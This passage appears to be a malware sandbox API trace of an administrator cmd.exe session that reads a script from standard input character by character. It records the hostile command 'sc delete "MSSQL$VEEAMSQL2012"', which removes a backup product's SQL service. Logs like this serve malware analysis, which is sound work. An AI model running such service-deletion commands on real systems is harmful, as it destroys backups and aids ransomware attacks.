cchWideChar=1 | out: lpWideCharStr="\"QLWriter\nTRY130\ne\n") returned 1 [0070.023] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.023] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.023] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.023] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="MLWriter\nTRY130\ne\n") returned 1 [0070.023] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.023] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.023] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.023] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="SWriter\nTRY130\ne\n") returned 1 [0070.023] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.023] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.023] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.023] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="Sriter\nTRY130\ne\n") returned 1 [0070.024] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.024] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.024] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="Qiter\nTRY130\ne\n") returned 1 [0070.024] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.024] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.024] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="Lter\nTRY130\ne\n") returned 1 [0070.024] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.024] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.024] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="$er\nTRY130\ne\n") returned 1 [0070.024] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.024] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.024] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="Vr\nTRY130\ne\n") returned 1 [0070.024] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.024] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.024] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="E\nTRY130\ne\n") returned 1 [0070.024] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.024] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.024] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="ETRY130\ne\n") returned 1 [0070.025] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.025] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.025] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="ARY130\ne\n") returned 1 [0070.025] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.025] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.025] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="MY130\ne\n") returned 1 [0070.025] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.025] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.025] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="S130\ne\n") returned 1 [0070.025] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.025] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.025] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="Q30\ne\n") returned 1 [0070.025] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.025] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.025] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="L0\ne\n") returned 1 [0070.025] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.025] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.026] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="2\ne\n") returned 1 [0070.026] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.026] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.026] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="0e\n") returned 1 [0070.026] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.026] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.026] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="1\n") returned 1 [0070.026] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.026] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.026] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e358, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0070.026] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.026] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.026] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35a, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0070.026] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.026] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.026] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.027] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0070.027] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.027] GetFileType (hFile=0xb8) returned 0x3 [0070.027] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.027] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.027] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.027] GetFileType (hFile=0x120) returned 0x3 [0070.027] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQL$VEEAMSQL2012\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQL$VEEAMSQL2012\"\n", lpUsedDefaultChar=0x0) returned 32 [0070.027] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x1f, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x1f, lpOverlapped=0x0) returned 1 [0070.027] GetProcessHeap () returned 0x4a0000 [0070.027] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0070.027] GetProcessHeap () returned 0x4a0000 [0070.027] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0070.027] GetProcessHeap () returned 0x4a0000 [0070.027] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0070.027] GetProcessHeap () returned 0x4a0000 [0070.027] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0070.027] GetProcessHeap () returned 0x4a0000 [0070.027] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4a) returned 0x4b97e0 [0070.027] GetConsoleOutputCP () returned 0x1b5 [0070.027] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0070.028] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.028] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.028] GetProcessHeap () returned 0x4a0000 [0070.028] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0070.028] GetProcessHeap () returned 0x4a0000 [0070.028] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x50) returned 0x4b9840 [0070.028] GetProcessHeap () returned 0x4a0000 [0070.028] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0070.028] SetErrorMode (uMode=0x0) returned 0x1 [0070.028] SetErrorMode (uMode=0x1) returned 0x0 [0070.028] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0070.028] SetErrorMode (uMode=0x1) returned 0x1 [0070.028] GetProcessHeap () returned 0x4a0000 [0070.028] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0070.028] GetProcessHeap () returned 0x4a0000 [0070.028] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0070.029] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0070.029] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0070.029] GetProcessHeap () returned 0x4a0000 [0070.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0070.029] GetProcessHeap () returned 0x4a0000 [0070.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0070.029] GetProcessHeap () returned 0x4a0000 [0070.029] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0070.029] GetProcessHeap () returned 0x4a0000 [0070.029] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0070.029] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0070.029] GetProcessHeap () returned 0x4a0000 [0070.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0070.029] GetProcessHeap () returned 0x4a0000 [0070.029] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0070.029] GetProcessHeap () returned 0x4a0000 [0070.029] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0070.029] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0070.029] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.029] GetLastError () returned 0x2 [0070.029] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.030] GetLastError () returned 0x2 [0070.030] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0070.030] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0070.030] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0070.030] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.030] GetLastError () returned 0x2 [0070.030] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0070.030] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0070.030] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0070.030] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0070.030] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.030] GetProcessHeap () returned 0x4a0000 [0070.030] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0070.030] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.031] GetProcessHeap () returned 0x4a0000 [0070.031] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xb6) returned 0x4b9180 [0070.031] GetProcessHeap () returned 0x4a0000 [0070.031] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xb6 [0070.031] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQL$VEEAMSQL2012\"") returned 1 [0070.031] GetProcessHeap () returned 0x4a0000 [0070.031] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0070.031] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0070.031] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0070.031] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0070.031] GetProcessHeap () returned 0x4a0000 [0070.031] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0070.031] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0070.031] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0070.031] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0070.032] _wcsnicmp (_String1="COPYCMD", _String2="windir=", 